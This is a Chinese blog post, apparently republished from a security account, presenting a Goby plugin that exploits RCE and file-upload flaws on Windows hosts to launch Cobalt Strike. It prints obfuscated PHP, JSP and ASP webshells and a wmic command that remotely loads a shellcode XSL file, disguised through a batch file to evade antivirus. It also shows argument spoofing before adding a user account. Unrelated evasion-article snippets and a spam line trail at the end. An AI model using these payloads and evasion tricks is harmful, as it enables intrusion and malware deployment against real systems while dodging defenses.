<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    插件分享 | 簡單免殺繞過和利用上線的 GoCS

    Simon2021-08-16 14:08:16

    前言:

    Goby 可以快速準確的掃描資產,并直觀呈現出來。同時經過上次 EXP 計劃過后,PoC&EXP 也增加了許多。在實戰化漏洞掃描后,對于高危漏洞的利用,不僅僅只在 whoami 上,而是要進入后滲透階段,那么對于 Windows 機器而言,上線 CS 是必不可少的操作,會讓后滲透如魚得水。此插件只運用了簡單的利用方式上線 CS,希望師傅們能夠提供想法和建議把它更為完善,源碼中有詳細的注釋,可供師傅們快速理解。

    01、插件使用

    1.1 插件效果

    1.2 使用方法

    1. 在工具欄導入 CS 的 32 位 RAW 的 payload 文件 (attacks - > packages - > payload generator - > output:raw 后綴為 bin),將免殺后的文件放入 VPS 中。

    2. 在 Goby 插件配置中設置 VPS 免殺文件地址,在實際使用中也可以進行實時的更改。

    3. 在漏洞利用詳情頁中點擊 GoCS

    4. 選擇一個利用方式和文件形式,根據實際情況更改 payload 進行繞過攔截

    點擊 GO 即可發包利用

     注:現無法只在目標為 Windows 的機器才顯示該插件,還需要用戶自己判斷一下。

    02、插件開發

    2.1 主體框架

    ├── .gitignore          // 忽略構建輸出和node_modules文件
    ├── README.md           // 插件介紹文檔
    ├── CHANGELOG.md        // 插件更新日志文檔
    ├── src
    │   └── CS.png         //CS的圖片
    │   └── assets   //layui
    │   └── extension.js      // 插件源代碼
    │   └── Gopass.html    //工具欄制作免殺xsl文件
    │   └── GoCS.html      //漏洞利用頁面進行發包利用上線CS
    ├── package.json         // 插件配置清單
    ├── node_modules      //引入模塊
    

    2.2 它們的爺爺 package.json

    該插件由工具欄的 GoPass.html 和漏洞利用的 index.html 進行大部分工作,所以我先簡單介紹它們的爺爺 package.json

    2.3 它們的爸爸 extension.js

    具體注釋在源代碼中,在 Goby 中下載 GoCS 后可在根目錄下 \extensions 中找到,這只分析重點。

    這個頁面是父頁面(我的理解)在引入模塊時直接引用 let fs = require('fs');或者加 parent 也可以。

    點擊 Command 為 GoPass 后進行的操作來跳出 GoPass.html:


        //在工具欄的圖標點擊過后入口
        goby.registerCommand('GoPass',function(content){
            //獲取子頁面路徑
            let path = __dirname + "/GoPass.html"
            //打開子頁面并配置長寬
            goby.showIframeDia(path, "GoPass", "666", "500");
            
        })
        //在工具欄的圖標點擊過后結束
    

    進行發包和利用 EXP 的代碼:

        //此段代碼是摘取Go0p師傅的Goby_exp插件源碼
    
        //創建Gexp類進行發包獲取漏洞詳情和利用漏洞
        class Gexp {
        //引入包和模塊
          constructor() {
            this.fs = require('fs')
            this.request = require('request')
            this.path = require('path')
          }
          //初始化函數之類的吧
          init() {
            this.host = this.data.server_host;
            this.port = this.data.server_port;
            this.username = this.data.authUsername;
            this.password = this.data.authPassword;
           }
            //獲取配置主要用于獲取username和password還有代理端口
           getServerInfo() {
                //對目錄下得配置文件進行讀取返回
                let config_info = this.path.join(__dirname, '../../../config/config.json');
                    //讀取文件操作
                this.data = JSON.parse(this.fs.readFileSync(config_info, 'utf-8'));
                    //返回應該是json類型可以后面直接用
                return this.data;
            }
    
             //點擊按鈕時獲取你點擊的漏洞詳情
            getPOCInfo(vulname, proxystr) {
                this.init();
                //進行發包操作獲取Goby本地的返回包,其中有漏洞詳情,json類型進行后面處理
                return new Promise((resolve, reject) => {
                    //發包配置一系列的參數
                    this.request({
                      url: `http://${this.host}:${this.port}/api/v1/getPOCInfo`,
                      method: 'POST',
                      auth: {
                        'user': this.username,
                        'pass': this.password,
                      },
                      proxy: proxystr,
                      json: { "vulname": vulname}
                     }, function (error, response, body) {
                         //成功過后會進行返回漏洞詳情
                         if (!error && response.statusCode == 200) {
                            //成功狀態獲取返回值
                            resolve(body);
                         } else {
                            //失敗狀態返回錯誤詳情
                            reject(error)
                         }
                    });
                })
             }
                //發包利用漏洞,主要用來更改exp的參數
          debugExp(post_data, proxystr) {
                this.init();
                //進行發包操作和本地Goby進行交互,利用更改exp的值進行利用
                return new Promise((resolve, reject) => {
                    //發包構造一系列參數
                  this.request({
                    url: `http://${this.host}:${this.port}/api/v1/debugExp`,
                    method: 'POST',
                    auth: {
                      'user': this.username,
                      'pass': this.password,
                    },
                    proxy: proxystr,
                    json: post_data
                  }, function (error, response, body) {
                    if (!error && response.statusCode == 200) {
                      //輸出返回的內容
                      // console.log(body);
                      resolve(body);
                    } else {
                      reject(error)
                    }
                  });
            })
          }
    
        }
    //構造Gexp類結束 
    

    2.4 它們自己

    2.4.1 GoPass.html 用來生成免殺 xsl 文件

    這個文件主要就是將 bin 文件進行 base64 加密后和 xsl 文件進行拼接,生成一個 GoPass.xsl 文件,供后面進行遠程加載。

    Xsl 文件的是使用 cactusTorch 作為加載器加載 shellcode,再運用 wmic 進行遠程不落地執行 shellcode。由于無文件落地的木馬可以附加到任何進程里面執行,而且傳統安全軟件是基于文件檢測的,對目前無文件落地木馬檢查效果差,所以該插件采用了此形式進行上線 CS。

    而原版本的 xsl 文件生成后就會被殺軟報毒,那么加入 <!----\> 注釋符號進行簡單免殺繞過,此處只繞過基本的殺軟。

    同時在重要函數名上也如此。

    此處只討論靜態免殺,在 vt 上效果如下。

    效果是不夠的好,加入 <!----\> 如同 P 圖,P 得越多,越... 根據上面的繞過舉一反三過后的免殺如下。

    這幾個感覺是執行了文件,只把一個字母大寫,代碼不能執行了它們就不報毒了,所以后期還需要加強免殺。

    2.4.2 index.html 用來生成漏洞利用上線 CS

    這個文件主要用來,調用 extension.js 文件中的 Gexp 類,獲取 PoC 的參數進行更改后調用 EXP 進行發包利用,其中利用方式有 RCE 和 upload 兩種,文件形式有 php,asp,jsp三種(以后會加入 aspx),源碼中有具體的注釋。

    此處因為是子頁面使用引入模塊時必須加入 parent

    let fs = parent.require('fs');
    let goby = parent.goby;
    

    同時如果你使用 exec 函數調用 cmd 也是 Goby.exe 進行調用的,生成文件會在 Goby 的根目錄下面,不指定目錄寫文件也是一樣。

    初次寫 js 的師傅注意,下拉框因為是 div 修飾過的,不能再使用原生的事件進行監聽,要使用 layui 的語法進行 select 監聽事件。

            //select監聽事件開始
            //layui的監聽事件和原生select不一樣
    
            layui.use(['form'], function () {
                var form = layui.form;
    
                //下拉框改變事件開始
                //layui的調用寫法,因為select采用的是layui的樣式使用要用它的寫法不能用原生的
                //id為vlul的下拉框的值改變后觸發
                form.on('select(vlul)', function (data) {
                    //調用函數主要用來更新textarea中的內容
                    changeE();
                });
                //id為txt的下拉框的值改變后觸發
                form.on('select(txt)', function (data) {
                    //調用函數主要用來更新textarea中的內容
                    changeE();
                });
                //下拉框改變事件結束
    
    
            });
            //select監聽事件結束
    

    以 php 為例,漏洞利用 upload 是上傳寫入 php 代碼執行 cmd 調用 wmic 遠程加載運行 shellcode,RCE 是默認可以執行系統 dos 命令的情況下,調用 wmic 進行遠程加載運行 shellcode (如果是代碼執行漏洞還需要自己添加 system() 之類的調用 cmd 的函數)

    最開始的 xsl 文件有了簡單的免殺后,能不能成功上線還得看最后一步 wmic 的命令,正常 wmic 命令是 wmic os get /format:"http://yourIP/a.xsl"

    不用想,這肯定會被某全家桶攔截,所以我們必須繞過攔截,那么使用用到爛的 echo 加管道符 | 來試試

    echo os get /format:"http://yourIP/a.xsl"|wmic

     

    本地 cmd 執行不會被攔,但是 Upload 利用時候,寫入頁面后,再加載頁面時候會被攔,這意外么?毫不意外。但是這里有趣的是,其實這里繞過了但是沒有完全繞過,根據高級的食材往往只需簡單烹飪這一道理,所以我決定簡單烹飪,將它寫入 bat 文件中本地執行,最后發現某全家桶毫無攔截。所以頁面中不調用 wmic,而是把它寫入 bat,本地去執行 wmic 這樣就不會被攔截。

    所以最后命令為 echo ^echo os get /format:"http://yourIP/a.xsl"^|wmic>>1.bat&&1.bat

    最后來看看在某斯基,某全家桶,某管家,某絨的監督下,不落地執行 shellcode 會是什么樣子。

    看著 6 秒沒有反應,還以為是被 某斯基 殺了,結果發現沒有。上線后如果執行敏感操作,如創建用戶,可以考慮用 argue 參數污染。

    使用參考https://www.freesion.com/article/3342904336/

    #參數污染 net

    argue net xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    

    #查看污染的參數

    argue
    

    #用污染的 net 執行敏感操作

    execute net user test2 root123 /add
    

    全程某全家桶是沒有進行攔截的

    原理簡單來講也如同 P 圖,原本執行 net,但是污染后 command 卻是 net xxxxxxxxxx,達到繞過。

    你在使用中肯定會遇到一些小問題,比如,wmic 加載了一個沒有開放的端口就會出現

    那么最好的解決辦法就是不去解決,等待一分鐘過后就可以了,它們都會自己退出。這告訴了我們一件事情,一定記得去防火墻設置里面開放端口。

    講完了 cmd 命令的繞過那么就開始 upload 中 Webshell 的繞過。

    Php 是參考冰蝎的回調函數進行利用的 php 語句。

    let phpshell = "<?php @call_user_func(base64_decode(\"c3lzdGVta\"),\"" + wmicCMDshell + "\");"
    

    Jsp 基礎免殺是參考的 @yzddMr6 師傅的 https://yzddmr6.tk/posts/webshell-bypass-jsp/ 文章

    let jspshell = "<%@ page contentType=\"text/html;charset=UTF-8\" import=\"javax.xml.bind.DatatypeConverter\" language=\"java\" %><%Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary(\"6a6176612e6c616e672e52756e74696d65\")));Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary(\"65786563\")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary(\"67657452756e74696d65\"))).invoke(null), \"" + wmicCMDshell + "\");%> ";
    

    Asp 是簡單利用的 chr 字符加大寫,不能免殺,希望會 asp 的師傅能夠指導一下。


    let aspshell = "<%response.write server.createobject(\"wscript.sh\"&Chr(69)&\"ll\").ExEc(\"" + wmicAsp +"\").stdout.readall%>"
    

    03、總結

    第一次編寫插件和編寫 js 文件,無疑是一次面向百度的編程,總體還是不錯,學到了很多。遺憾的是 asp 并沒有免殺,還希望會 asp 的師傅指導一下。這個版本很基礎,很簡單進行利用,所以只能在簡單環境下利用,希望后面能加入更多的元素,讓這個插件適應更多復雜環境。感謝 Goby 團隊的 @青淮 @葉落凡塵 @go0p 師傅的幫助指導。

    插件開發文檔及Goby開發版下載:
    https://gobies.org/docs.html
    內容轉自公眾號 GobySec
    免殺
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    0X01起源在攻防演練中通過運行惡意代碼連接C2是最常用的手段,但是由于對抗程度的提升。以360、天擎為代表的毒軟件針對信任鏈的檢測,已經變得愈來愈成熟。這里我們可以理解為,攻擊者通過利用"白加黑"這種攻擊方法。當攻擊者通過社工釣魚的手段,使得目標下載惡意的文件到目標自己的計算機上,并點擊運行白文件時,該文件會在運行時執行惡意DLL。
    Bypass_AV msf,ShellCode加載器 ,shellcode執行程序 ,360&火絨&Windows Defender代碼夠簡單,估計要不了多久就進特征庫了,被了再去改幾個特征碼照樣又可以,作者的github保持更新,可以去瞅瞅。測試可以國內軟?注意:ShellCode 需要是64位的加載器將生成的ShellCode 填至 Bypass_AV.py 里的 ShellCode = '''ShellCode''' 處注意:保留原始ShellCode 里的雙引號 "示例:最終格式:打包成可執行程序編譯Python 3.8.6pyinstaller 4.7pip install pyinstaller
    Bypass_AV msf,ShellCode加載器 ,shellcode執行程序 ,360&火絨&Windows Defender。代碼夠簡單,估計要不了多久就進特征庫了,被了再去改幾個特征碼照樣又可以,保持更新。
    技術有一套
    2022-07-20 09:45:45
    方式可能是上面的兩種方式,看情況。動態行為,運行中執行的某些行為被毒軟件攔截報讀。不同工具之前局別是使用的分割算法不同,查找特征碼的效果不同。
    ,又叫毒技術,是反病毒,反間諜的對立面,是一種能使病毒或木馬免于被毒軟件查殺的軟件。它除了使病毒木馬免于被查殺外,還可以擴增病毒木馬的功能,改變病毒木馬的行為。的基本特征是破壞特征,有可能是行為特征,只要破壞了病毒與木馬所固有的特征,并保證其原有功能沒有改變,一次就能完成了。
    方式可能是上面的兩種方式,看情況。動態行為,運行中執行的某些行為被毒軟件攔截報讀。不同工具之前局別是使用的分割算法不同,查找特征碼的效果不同。然后繼續測試另外的連鎖條件,直到找到最后一個連鎖條件,抹掉后,整個文件了,則說明特征代碼被定為完畢了,所以VIRTEST絕對可以精確的定位出所有的復合特征。直到定位到某個函數或者多個函數,進入3。有,單獨檢查該文件或者數據,方法從1開始。
    入門之靜態
    2022-04-30 06:53:30
    該工具已經被市面上軟加入病毒特征庫,我們的目標就是修改該程序特征碼并且不能影響其正常使用。最后測試mimikatz功能也是正常的,至此完成。
    一篇靜態的文章
    Simon
    暫無描述
      亚洲 欧美 自拍 唯美 另类